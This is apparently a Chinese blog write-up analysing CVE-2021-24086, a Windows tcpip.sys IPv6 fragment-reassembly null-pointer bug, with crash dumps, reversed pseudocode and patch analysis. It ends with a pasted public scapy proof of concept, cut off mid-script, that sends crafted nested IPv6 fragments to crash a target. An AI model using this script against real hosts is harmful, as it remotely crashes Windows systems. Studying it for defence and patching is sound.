信息收集

patch 位于 tcpip.sys 中的 Ipv6pReassembleDatagram 函数,对某一个变量的大小进行了约束,使其不能超过 0xffff

Untitled.png

并且下方的 NdisGetDataBuffer 传入的第二个参数 BytesNeeded 不再截断到两个字节

Untitled 1.png

从直觉上来看这应该是个对 length 的检查,不过这个 length 是怎么来的还要进一步分析

使用公开的 poc ,更改 iface

1
parser.add_argument('--iface', default = "VMware Network Adapter VMnet8")

然后执行,发现崩溃,崩溃信息如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x000000d1
(0x0000000000000000,0x0000000000000002,0x0000000000000001,0xFFFFF8064AA7E12B)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff806`469c4580 cc int 3
0: kd> !analyze -v
Connected to Windows 10 18362 x64 target at (Thu Dec 23 15:56:13.519 2021 (UTC + 8:00)), ptr64 TRUE
Loading Kernel Symbols
................................

Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.

...............................
................................................................
....................................................
Loading User Symbols

Loading unloaded module list
......

************* Symbol Loading Error Summary **************
Module name Error
SharedUserData No error - symbol load deferred

You can troubleshoot most symbol related issues by turning on symbol loading diagnostics (!sym noisy) and repeating the command that caused symbols to be loaded.
You should also verify that your symbol search path (.sympath) is correct.
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1)
An attempt was made to access a pageable (or completely invalid) address at an
interrupt request level (IRQL) that is too high. This is usually
caused by drivers using improper addresses.
If kernel debugger is available get stack backtrace.
Arguments:
Arg1: 0000000000000000, memory referenced
Arg2: 0000000000000002, IRQL
Arg3: 0000000000000001, value 0 = read operation, 1 = write operation
Arg4: fffff8064aa7e12b, address which referenced memory

Debugging Details:
------------------

KEY_VALUES_STRING: 1

Key : Analysis.CPU.mSec
Value: 3765

Key : Analysis.DebugAnalysisManager
Value: Create

Key : Analysis.Elapsed.mSec
Value: 127907

Key : Analysis.Init.CPU.mSec
Value: 26203

Key : Analysis.Init.Elapsed.mSec
Value: 4364506

Key : Analysis.Memory.CommitPeak.Mb
Value: 124

Key : WER.OS.Branch
Value: 19h1_release

Key : WER.OS.Timestamp
Value: 2019-03-18T12:02:00Z

Key : WER.OS.Version
Value: 10.0.18362.1

BUGCHECK_CODE: d1

BUGCHECK_P1: 0

BUGCHECK_P2: 2

BUGCHECK_P3: 1

BUGCHECK_P4: fffff8064aa7e12b

WRITE_ADDRESS: 0000000000000000

PROCESS_NAME: System

TRAP_FRAME: fffff8064b0636f0 -- (.trap 0xfffff8064b0636f0)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=0000000000000000 rbx=0000000000000000 rcx=0000000000000003
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8064aa7e12b rsp=fffff8064b063880 rbp=ffffce85821b0310
r8=ffffce8582697db0 r9=0000000000000001 r10=ffffce8583fff180
r11=0000000000000004 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up ei ng nz na pe cy
tcpip!Ipv6pReassembleDatagram+0x14f:
fffff806`4aa7e12b 0f1100 movups xmmword ptr [rax],xmm0 ds:00000000`00000000=????????????????????????????????
Resetting default scope

STACK_TEXT:
fffff806`4b063880 fffff806`4aa7eeb2 : ffffce85`82216000 00000000`00000000 00000000`00000002 ffffce85`0000fffa : tcpip!Ipv6pReassembleDatagram+0x14f
fffff806`4b063920 fffff806`4aa7efd2 : ffffce85`84ac0760 00000000`00000008 ffffce85`82210028 ffffce85`825e08b0 : tcpip!Ipv6pReceiveFragment+0x83a
fffff806`4b063a00 fffff806`4a8ee717 : ffffce85`00000003 00000000`00000000 ffffce85`827a0c60 00000000`00000000 : tcpip!Ipv6pReceiveFragmentList+0x42
fffff806`4b063a30 fffff806`4a925c0f : fffff806`4aaca000 ffffce85`7ff7e720 ffffce85`82216000 ffffce85`828c9700 : tcpip!IppReceiveHeaderBatch+0x4c7
fffff806`4b063b30 fffff806`4a9258ac : ffffce85`828d4330 00000000`00000001 00000000`00000001 00000000`00000000 : tcpip!IppFlcReceivePacketsCore+0x34f
fffff806`4b063c40 fffff806`4a94797f : ffffce85`827a09f0 00000000`00000000 00000000`00000000 fffff806`4b063cc4 : tcpip!IpFlcReceivePackets+0xc
fffff806`4b063c70 fffff806`4a946e52 : ffffce85`828d4201 ffffce85`828d0800 fffff806`4a935fd0 fffff806`4b063fa8 : tcpip!FlpReceiveNonPreValidatedNetBufferListChain+0x25f
fffff806`4b063d60 fffff806`468c0118 : fffff806`4b064040 00000000`00000002 fffff806`46d8c400 fffff806`4b063fc8 : tcpip!FlReceiveNetBufferListChainCalloutRoutine+0xd2
fffff806`4b063e90 fffff806`468c008d : fffff806`4a946d80 fffff806`4b063fc8 ffffce85`821b3f90 00000000`00000000 : nt!KeExpandKernelStackAndCalloutInternal+0x78
fffff806`4b063f00 fffff806`4a936501 : ffffce85`827a09f0 fffff806`4b064040 00000000`00000000 0000317a`7db70658 : nt!KeExpandKernelStackAndCalloutEx+0x1d
fffff806`4b063f40 fffff806`4a67b531 : ffffce85`827a09f0 00000000`00000000 00000000`00000001 ffffce85`827a09f0 : tcpip!FlReceiveNetBufferListChain+0x311
fffff806`4b0641e0 fffff806`4a67b027 : ffffce85`822a38a0 00000000`0000dd01 00000000`00000000 00000000`00000001 : ndis!ndisMIndicateNetBufferListsToOpen+0x141
fffff806`4b0642c0 fffff806`4a680eb1 : ffffce85`824951a0 fffff806`00000000 ffffce85`824951a0 00000000`00000006 : ndis!ndisMTopReceiveNetBufferLists+0x227
fffff806`4b0643c0 fffff806`4a6b16d6 : ffffce85`827a09f0 fffff806`4b064491 00000000`00000000 fffff806`4b0644c0 : ndis!ndisCallReceiveHandler+0x61
fffff806`4b064410 fffff806`4a67e874 : 00000000`00006b5a 00000000`00000801 ffffce85`824951a0 00000000`00000001 : ndis!ndisInvokeNextReceiveHandler+0x20726
fffff806`4b0644e0 fffff806`4cef83b3 : 00000000`00000000 00000000`00000801 00000000`00000001 ffffce85`827a09f0 : ndis!NdisMIndicateReceiveNetBufferLists+0x104
fffff806`4b064570 fffff806`4cef947a : ffffce85`827a0900 ffffce85`82502000 ffffce85`82503080 00000000`00000000 : e1i65x64!RECEIVE::RxIndicateNBLs+0x12f
fffff806`4b0645d0 fffff806`4cf00c14 : ffffce85`821c7c30 ffffce85`82502000 ffffce85`82502001 fffff806`00000000 : e1i65x64!RECEIVE::RxProcessInterrupts+0x20a
fffff806`4b064650 fffff806`4cf0108f : ffffce85`821c7a70 ffff0001`00000000 ffff0001`00000000 00000000`00000000 : e1i65x64!INTERRUPT::MsgIntDpcTxRxProcessing+0x124
fffff806`4b0646c0 fffff806`4cf00668 : ffffce85`821c7a70 00000000`fffffffe fffff806`00000000 00000000`00000000 : e1i65x64!INTERRUPT::MsgIntMessageInterruptDPC+0x1ff
fffff806`4b064780 fffff806`4a67f2cd : fffff806`439d4180 00000000`00000000 00000000`00000000 fffff806`46885fb6 : e1i65x64!INTERRUPT::MiniportMessageInterruptDPC+0x28
fffff806`4b0647c0 fffff806`468c1185 : 00000000`00000000 ffffce85`00000002 fffff806`4b064968 fffff806`4b064988 : ndis!ndisInterruptDpc+0x19d
fffff806`4b0648f0 fffff806`468c07df : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiExecuteAllDpcs+0x305
fffff806`4b064a30 fffff806`469c02c4 : 00000000`00000000 fffff806`439d4180 fffff806`46d8c400 ffffce85`7f526080 : nt!KiRetireDpcList+0x1ef
fffff806`4b064c60 00000000`00000000 : fffff806`4b065000 fffff806`4b05f000 00000000`00000000 00000000`00000000 : nt!KiIdleLoop+0x84

STACK_COMMAND: .trap 0xfffff8064b0636f0 ; kb

SYMBOL_NAME: e1i65x64!RECEIVE::RxIndicateNBLs+12f

MODULE_NAME: e1i65x64

IMAGE_NAME: e1i65x64.sys

BUCKET_ID_FUNC_OFFSET: 12f

FAILURE_BUCKET_ID: AV_e1i65x64!RECEIVE::RxIndicateNBLs

OS_VERSION: 10.0.18362.1

BUILDLAB_STR: 19h1_release

OSPLATFORM_TYPE: x64

OSNAME: Windows 10

FAILURE_ID_HASH: {057dc173-6e72-06ad-8e0c-3bd33bf6d7e8}

Followup: MachineOwner
---------

Ipv6pReassembleDatagram 中有个空指针解引用,如下所示

Untitled 2.png

BytesNeededa 是由 NdisGetDataBuffer 所得到的,关于 NdisGetDataBuffer 的信息如下

1
2
3
4
5
6
7
NDIS_EXPORTED_ROUTINE PVOID NdisGetDataBuffer(
[in] NET_BUFFER *NetBuffer,
[in] ULONG BytesNeeded,
[in, optional] PVOID Storage,
[in] ULONG AlignMultiple,
[in] ULONG AlignOffset
);

其返回值说明如下

Untitled 3.png

返回空的情况有如下几种:

  • NetBuffer 中的 NET_BUFFER_DATA 的成员 Datalength 小于 BytesNeeded 的时候,便会返回空
  • 当在 Netbuffer 中的请求数据不是连续且Storage 为空时,返回空
  • 当资源不足以将 data buffer 进行映射的时候,也会返回空

那么我们通过调试来检查是哪个情况

NetioAllocateAndReferenceNetBufferAndNetBufferList 中会初始化 netbuffer ,然后在 NetioRetreatNetBuffer 中,会对 Datalength 进行更新,其会加上 BytesNeeded

Untitled 4.png

但是需要注意的是这里加上的是截断后的 BytesNeeded

Untitled 5.png

调试发现,发送最后一个包的时候,Datalength0 ,传入的截断后的 BytesNeeded0x10

Untitled 6.png

但是实际的 BytesNeeded0x10010

Untitled 7.png

因为 BytesNeeded 大于 Datalength ,所以 NdisGetDataBuffer 会返回空,进而导致空指针解引用

接下来分析为什么 BytesNeeded 会那么大,往上找可以找到是 Ipv6pReceiveFragment 函数构造出来的参数,该函数对 ipv6 的分片包进行解析处理的。当最后一个包到达的时候,会调用 Ipv6pReassembleDatagram 函数进行处理,这个行为也可以通过调试直接观察出来

抓包进行调试,Ipv6pReceiveFragment 一开始的 NdisGetDataBuffer 会读出 ipv6 fragment header 并进行解析

Untitled 8.png

根据这个可以恢复其结构

1
2
3
4
5
00000000 Ipv6FragmentHeader struc ; (sizeof=0x8, mappedto_712)
00000000 next_header db ?
00000001 reserved_octet db ?
00000002 offset_and_reservedbit_and_morefragment dw ?
00000004 identification dd ?

针对这里的 v17 ,在动态调试之后可以发现是如下字段

Untitled 9.png

Untitled 10.png

也恢复一下数据结构

1
2
3
4
5
6
7
8
00000000 ipv6_header_t   struc ; (sizeof=0x28, mappedto_713)
00000000 flags dd ?
00000004 payload_length dw ?
00000006 next_header db ?
00000007 hot_limit db ?
00000008 src db 16 dup(?)
00000018 dst db 16 dup(?)
00000028 ipv6_header_t ends

之后就可以大致地去逆一下 Ipv6pReceiveFragment 函数了

Ipv6pReceiveFragment 函数流程分析

Ipv6pReceiveFragment 函数,顾名思义就是对 Ipv6 分片包进行处理的结构,Ipv6 的分片包行为的总结图如下:

Untitled 11.png

其分为 unfragmentablefragment 的部分,unfragmentable 部分主要由 ipv6 报头和 ipv6 fragment 报头组成,而 fragment 部分主要由上层报头和有效负荷组成(例如 ICMPv6 的报头加上有效负荷)

然后我们来看 Ipv6pReceiveFragment 函数。首先从 netbuffer 中读入 8 个字节的 ipv6 fragment header 并进行解析,同时进行参数合法性的判断

1
2
3
4
5
6
7
8
9
ipv6FragmentHeader = (Ipv6FragmentHeader *)NdisGetDataBuffer(netbuffer, 8u, 0i64, 1u, 0);// 从netbuffer中读取8字节到ipv6FragmentHeader
if ( !ipv6FragmentHeader ){
...
gotoError
}
if(!ipv6FragmentHeader->next_header){
...
gotoError
}

然后进行 ipv6 分片的查询

1
2
3
4
5
6
7
ipv6Header = *(ipv6_header_t **)(a1 + 0x110);
Reassembly = Ipv6pFragmentLookup(
unknown,
ipv6FragmentHeader->identification,
ipv6Header,
(KIRQL *)&NewIrql);

Ipv6pFragmentLookup 大致如下,通过对传入的分片进行哈希匹配来寻找需要使用的 Reassembly

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
reassembly_t *__fastcall Ipv6pFragmentLookup(_LIST_ENTRY *unknown, int identification, ipv6_header_t *ipv6Header, KIRQL *NewIrql)
{
_LIST_ENTRY *ipv6Fragment; // rcx
unsigned int hashResult; // ebx
reassembly_t *currentReassembly; // rax
reassembly_t *currentReassembly_0; // rbx
struct _RTL_DYNAMIC_HASH_TABLE_CONTEXT Context; // [rsp+20h] [rbp-28h] BYREF

ipv6Fragment = ipv6FragmentList->Flink;
Context.Signature = 0i64;
hashResult = IppReassemblyHashKey((__int64)ipv6Fragment, identification, ipv6Header);
*NewIrql = KeAcquireSpinLockRaiseToDpc(&qword_1C01FEF50);
*(_OWORD *)&Context.ChainHead = 0i64;
for ( currentReassembly = (reassembly_t *)RtlLookupEntryHashTable(&ipv6HashTable, hashResult, &Context);
;
currentReassembly = (reassembly_t *)RtlGetNextEntryHashTable(&ipv6HashTable, &Context) )
{
currentReassembly_0 = currentReassembly;
if ( !currentReassembly ) // 遍历结束,没有找到
return 0i64;
if ( (_LIST_ENTRY *)currentReassembly->un7 == unknown
&& LODWORD(currentReassembly->identification) == identification
&& *(_QWORD *)&currentReassembly->src[8] == *(_QWORD *)&ipv6Header->src[8]
&& *(_QWORD *)currentReassembly->src == *(_QWORD *)ipv6Header->src
&& *(_QWORD *)&currentReassembly->dst[8] == *(_QWORD *)&ipv6Header->dst[8]
&& *(_QWORD *)currentReassembly->dst == *(_QWORD *)ipv6Header->dst )// 比对identification、src和dst是否一致
{
break;
}
LABEL_10:
;
}
KeAcquireSpinLockAtDpcLevel((PKSPIN_LOCK)&currentReassembly->un6);
if ( HIDWORD(currentReassembly_0->notGroup) == 1 )
{
KeReleaseSpinLockFromDpcLevel((PKSPIN_LOCK)&currentReassembly_0->un6);
goto LABEL_10;
}
KeReleaseSpinLockFromDpcLevel(&qword_1C01FEF50);
return currentReassembly_0;

然后对获得的 Reassembly 进行判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(Reassembly){
...
}
else{
if(!ipv6FragmentHeader->offset && !ipv6FragmentHeader->reservedbit && !ipv6FragmentHeader->morefragment){
...
return
}
Reassembly = IppCreateInReassemblySet(
(PKSPIN_LOCK)(v5 + 20304),
*(void **)(a1 + 272),
(__int64)v55,
(unsigned int)ipv6FragmentHeader->identification,
(KIRQL)NewIrql);
if(!Reassembly){
...
gotoError
}
...
}

如果没有 Reassembly 的话,当分片头中 offset、reservedbitmorefrgment 都为 0 的时候,该包是第一个分片,且没有下一个分片的时候,这个时候会处理一下直接返回。否则调用 IppCreateInReassemblySet 来创建一个新的 Reassembly 并继续。

然后对包的参数 offset 进行检查,防止溢出。同时也检查了分片是否合法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if ( netbuffer->DataLength + offset > 0xFFFF )// 长度检查,netbuffer的参数异常
{
...
gotoError
}

if ( (int)IPsecVerifyFragment(
&currentReassembly_0[1].un1,
v2,
*(_DWORD *)(v5 + 24),
(unsigned int *)ipv6Header_0->src,// src
(unsigned int *)ipv6Header_0->dst) < 0 )// 检查fragment的合法性
{
...
gotoError
}

接下来也是一些长度的检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(netbuffer->DataLength){
if(ipv6FragmentHeader->offset || ipv6FragmentHeader->reservedbit || ipv6FragmentHeader->morefragment){
if((netbuffer->DataLength) & 7 != 0){
...
gotoError
}
...
if(Reassembly->accumLength!= -1 && netbuffer->DataLength + ipv6FragmentHeader->offset > Reassembly -> accumLength ){
...
gotoError
}
}
}
else if(ipv6FragmentHeader->offset || ipv6FragmentHeader->reservedbit || ipv6FragmentHeader->morefragment){
...
gotoError
}

其中 Reassembly->accumLengthReassembly 初始化的时候该值为 -1 。这里主要是判断当分片头的 offset 、reservedbitmorefragment 有不为 0 的时候(也就是还在分片流程中的时候),如果 DataLength 不是 8 比特对齐或 Reassembly 在不是初始情况下DataLengthoffset 的和比 accumLength 大,则直接错误。

另外如果 netbuffer 中的 DataLength0 ,但是分片包头中的标识位显示还在分片流程中的时候,则也会直接错误。

然后是对 ReassemblyaccumLength 进行更新

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
accumLength= HIDWORD(Reassembly->accumLength);
receiveLength = ipv6FragmentHeader->offset + netbuffer->dataLength;
if ( accumLength== 0xFFFFFFFF )
{
sumLength = Reassembly->sumLength; // 初始情况为 0
Reassembly->accumLength= receiveLength;
if ( sumLength<= receiveLength && *((unsigned __int16 *)&(currentReassembly_0->sumLength + 1) <= receiveLength ){
gotoNext
}
gotoError
}
if ( receiveLength != weakLength )
{
...
gotoError
}

accumLength-1 的时候,会直接赋予其 offset + dataLength 的值

随后调用 IppReassemblyFindLocation 寻找上一个分片的 mdl

1
2
3
4
5
6
7
8
9
10
11
lastmdl = IppReassemblyFindLocation(
v5,
(__int64)currentReassembly_0,
offset_0,
*((_WORD *)&netbuffer->NetBufferHeader.Link + 12),
NewIrql_0);

if(!lastmdl){
...
gotoError
}

同时进行当前分片的 mdl 的申请

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mdlSize = (MmSizeOfMdl((PVOID)0xFFF, netbuffer->DataLength) + 7) & 0xFFFFFFFFFFFFFFF8ui64;
v30 = mdlSize + 0x10; // mdl的header为0x10大小
if ( mdlSize >= 0xFFFFFFFFFFFFFFF0ui64 ) // 溢出检查
gotoError
allocMdlSize = 0xFFFFFFFFFFFFFFFFui64;
v32 = v30 + netbuffer->DataLength;
if ( v32 >= v30 ) // 溢出检查
allocMdlSize = v30 + netbuffer->DataLength;
if ( v32 < v30 )
gotoError
mdlPool = (char *)ExAllocatePoolWithTagPriority((POOL_TYPE)512, allocMdlSize, 'erPI', LowPoolPriority);
if ( !mdlPool ){
...
gotoError
}

...
MmBuildMdlForNonPagedPool((PMDL)(mdlPool + 16));
...

经过一系列的长度检查,最后申请构造出 mdls

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if(lastmdl == &Reassembly->first_mdl_data){
resizeLength = *(_WORD *)(a1 + 0x30) - 0x30;// 减去header的size
Reassembly->weakLength = resizeLength;
if ( resizeLength ){
dataPool = ExAllocatePoolWithTagPriority((POOL_TYPE)512, resizeLength, 'erPI', LowPoolPriority);
Reassembly->dataPool = (__int64)dataPool;
if(!dataPool){
gotoError
}
}
IppIncreaseReassemblySize(
v5 + 20304, // lock
Reassembly,
(unsigned __int16)Reassembly->weakLength,
(unsigned __int16)Reassembly->weakLength);
RtlCopyMdlToBuffer(
netbuffer->MdlChain,
netbuffer->DataOffset - *(_DWORD *)(a1 + 0x30) + 0x28i64,
Reassembly->dataPool,
(unsigned __int16)Reassembly->weakLength,
v53);
}

RtlCopyMdlToBuffer(netbuffer->MdlChain, netbuffer->DataOffset, ipv6Header, netbuffer->DataLength, v53);
IppReassemblyInsertFragment(Reassembly, lastmdl, (__int64)v38);
IppIncreaseReassemblySize(v5 + 20304, Reassembly, netbuffer->DataLength + 0x100, netbuffer->DataLength);

这里会重新计算并更新 weakLength ,同时将构造新的 pool 并更新,最后再更新 Reassembly 中的大小

最后再判断 sumLengthaccumLength 是否相同,相同的话就进行重组, 否则就检查 ReassemblyQuota

1
2
3
4
if ( (unsigned __int16)Reassembly->sumLength == Reassembly->accumLength )
Ipv6pReassembleDatagram(a1, Reassembly, lastmdl);
else
IppCheckReassemblyQuota((PKSPIN_LOCK)(v5 + 20304), (__int64)Reassembly, lastmdl);

漏洞分析

经过 Ipv6pReceiveFragment 函数的分析,我们可以发现能修改到 weakLength 并导致后面的溢出的地方只有这里

1
2
3
4
5
if(lastmdl == &Reassembly->first_mdl_data){
resizeLength = *(_WORD *)(a1 + 0x30) - 0x30;// 减去header的size
Reassembly->weakLength = resizeLength;
...
}

那么就证明最后一次更新的时候,这里的 *(_WORD *)(a1 + 0x30) 是小于 0x30 的(这里的 0x30ipv6 的头 0x28 加上 ipv6 fragment 的头 0x8

同时在查看 poc 的时候我们可以发现,其最后发送的包所使用的 identification 和之前的包的 identification 相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
...
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xa0)),
]) \
/ IPv6ExtHdrFragment(
id = second_pkt_id, m = 1,
nh = 17, offset = 0
) \
/ UDP(dport = 31337, sport = 31337, chksum=0x7e7f)

reassembled_pkt = bytes(reassembled_pkt)
assert (len(reassembled_pkt) % 8) == 0, 'not aligned'
frags = frag6(args.target, frag_id, reassembled_pkt, 60)

print(f'{len(frags)} fragments, total size {hex(len(reassembled_pkt))}')
sendp(frags, iface= args.iface)

reassembled_pkt_2 = Ether() \
/ IPv6(dst = args.target) \
/ IPv6ExtHdrFragment(id = second_pkt_id, m = 0, offset = 1, nh = 17) \
/ 'doar-e ftw'
input("FINAL")
sendp(reassembled_pkt_2, iface = args.iface)

经过前面的流程我们可以知道,Ipv6pReceiveFragment 中有使用 identification 来寻找匹配的 Reassembly ,第二次发送的包可能使用了第一次包的 Reassembly 的累计长度,并因此产生了了溢出。

那么我们首先断在 Ipv6pReceiveFragment 的修改 size 的地方,然后跟到 Ipv6pReassembleDatagram ,发现有一个 CopyPacket

Untitled 12.png

下内存断点到 rax + 0x30 处,跟进一下

Untitled 13.png

Untitled 14.png

发现这里的 size 处加了一个 0x710 ,刚好就是 Ipv6 fragments 的长度

Untitled 15.png

不难分析得出 tcpip 对每个 Destination Options 都进行了对应的处理,并进行了合并。最后全部的 size 加起来为 hex(1808*36+424) = 0xffe8 ,也就是最终的 weakLength

然后第二个 Ipv6 的分片包使用了之前的 identification ,复用了前一个请求的上下文,导致使用的 weakLength 为之前统计的长度。而 Ipv6pReceiveFragment 函数只是检查了 netbufferDatalengthipv6FragmentHeaderoffset ,并未对该值进行检查,最终 weakLength 的值导致了整数溢出,而 NetioRetreatNetBuffer 只使用了两字节的 BytesNeeded ,导致 NdisGetDataBuffer 长度不匹配,返回空指针。最后在没有进行空指针判断的情况下对空指针进行操作,造成拒绝服务攻击。

至于为什么使用的是 destination options headers ,这是因为需要绕过 MTU 的限制。在平常的情况下,我们只能在不可分片的拓展报头中放入最多不到 1500 字节的数据,这样统计出的长度也不会超过 1500 字节。而 Windows 中支持 nested IPv6 fragments ,也就是说当我们的分片部分包含了另一个分片报头信息的时候,如下所示:

Untitled 16.png

我们有 OuterInner 两类分片报头,当最终分片重组完成,会形成如下的结构:

Untitled 17.png

其会再重组一遍,变成这样:

Untitled 18.png

这样我们就能绕过 MTU 的限制,所以我们可以构造如下报文:

Untitled 19.png

这里不仅仅是 Routing headers ,像我们上面提到的 destination options headers 也可以,所有可行的报头如下:

Untitled 20.png

使用这些报头,我们就可以触发该漏洞。

总结与思考

CVE-2021-24086 是一个空指针解引用漏洞,攻击者可以构造 nested IPv6 fragments ,通过复用分片报文中的 identification 来引用上一个 ipv6 分片报文的上下文内容,从而触发整数溢出,而传入 NdisGetDataBuffer 的长度参数又被截断到了两字节,导致 NdisGetDataBuffer 中的参数不匹配而返回空。而代码没有对该返回的指针做检查就直接使用,进而导致拒绝服务攻击。

在来谈谈 patch ,分别 patch 了一个对长度的检查并对 NdisGetDataBuffer 的传入参数进行了不截断的操作,从原理上防止了漏洞的触发。但是还没有对 NdisGetDataBuffer 的返回值进行检查,虽然从目前来看是没啥问题的,但是不知道这会不会埋下伏笔。

第一次针对 tcpip 进行比较深入的逆向,但是还是有些参数和结构体不是很明白,看别人的 分析文章 会发现基本上都逆出来了,只能说膜拜。希望今后也能够不断进步!

EXP

公开的 EXP ,由于写得很好就直接贴上来了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
# Axel '0vercl0k' Souchet - April 7 2021
from scapy.all import *
import argparse

def frag6(target, frag_id, bytes, nh, frag_size = 1008):
'''Ghetto fragmentation.'''
assert (frag_size % 8) == 0
leftover = bytes
offset = 0
frags = []
while len(leftover) > 0:
chunk = leftover[: frag_size]
leftover = leftover[len(chunk): ]
last_pkt = len(leftover) == 0
# 0 -> No more / 1 -> More
m = 0 if last_pkt else 1
assert offset < 8191
pkt = Ether() \
/ IPv6(dst = target) \
/ IPv6ExtHdrFragment(m = m, nh = nh, id = frag_id, offset = offset) \
/ chunk

offset += (len(chunk) // 8)
frags.append(pkt)
return frags

def pull_the_trigger(args):
'''Trigger CVE-2021-24086 patched in REL2102.'''
frag_id = random.randint(0, 0xffffffff)
second_pkt_id = (~frag_id & 0xffffffff)
reassembled_pkt = IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
PadN(optdata=('a'*0xff)),
PadN(optdata=('b'*0xff)),
PadN(optdata=('c'*0xff)),
PadN(optdata=('d'*0xff)),
PadN(optdata=('e'*0xff)),
PadN(optdata=('f'*0xff)),
PadN(optdata=('0'*0xff)),
]) \
/ IPv6ExtHdrDestOpt(options = [
